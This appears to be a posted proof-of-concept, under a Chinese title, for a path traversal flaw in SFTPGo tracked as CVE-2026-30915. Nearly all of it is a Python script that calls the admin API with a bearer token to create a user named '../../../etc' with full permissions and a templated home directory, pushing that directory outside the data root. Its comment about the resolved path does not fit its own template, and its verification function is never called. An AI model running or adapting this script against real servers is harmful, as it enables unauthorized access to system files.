SFTPGo动态组路径遍历漏洞(CVE-2026-30915)

#!/usr/bin/env python3 """ CVE-2026-30915 PoC - SFTPGo Path Traversal in Dynamic Group Paths Note: This PoC demonstrates the vulnerability concept. Actual exploitation requires authenticated access. """ import requests import json # Target SFTPGo server TARGET_URL = "http://target-sftpgo-server:8080" API_TOKEN = "your-api-token-here" def create_malicious_user(): """ Create a user with path traversal characters in username to exploit dynamic group path validation issue """ headers = { "Authorization": f"Bearer {API_TOKEN}", "Content-Type": "application/json" } # Malicious username containing path traversal sequence # This will cause the dynamic home directory to resolve to parent directory payload = { "username": "../../../etc", # Path traversal in username "password": "TestPass123!", "email": "[email protected]", "home_dir": "/sftpgo_data/users/%username%", # Dynamic path template "permissions": ["*"], # Full permissions (for demonstration) "quota_size": 1024, "max_sessions": 1 } try: response = requests.post( f"{TARGET_URL}/api/v2/users", headers=headers, json=payload, timeout=10 ) if response.status_code == 201: print("[+] Malicious user created successfully") print(f"[+] Username: {payload['username']}") print(f"[+] Expected home dir: /sftpgo_data/users/{payload['username']}") print("[+] Actual resolved path may be: /sftpgo_data/../etc") return True else: print(f"[-] Failed to create user: {response.status_code}") print(f"[-] Response: {response.text}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def verify_path_traversal(user_id): """ Verify if the path traversal succeeded by checking user's actual home directory """ headers = { "Authorization": f"Bearer {API_TOKEN}" } try: response = requests.get( f"{TARGET_URL}/api/v2/users/{user_id}", headers=headers, timeout=10 ) if response.status_code == 200: user_data = response.json() actual_home = user_data.get("home_dir", "") print(f"[+] User home directory: {actual_home}") # Check if path traversal occurred if ".." in actual_home: print("[!] Path traversal detected in home directory") return True except requests.exceptions.RequestException as e: print(f"[-] Verification failed: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2026-30915 - SFTPGo Path Traversal PoC") print("=" * 60) create_malicious_user()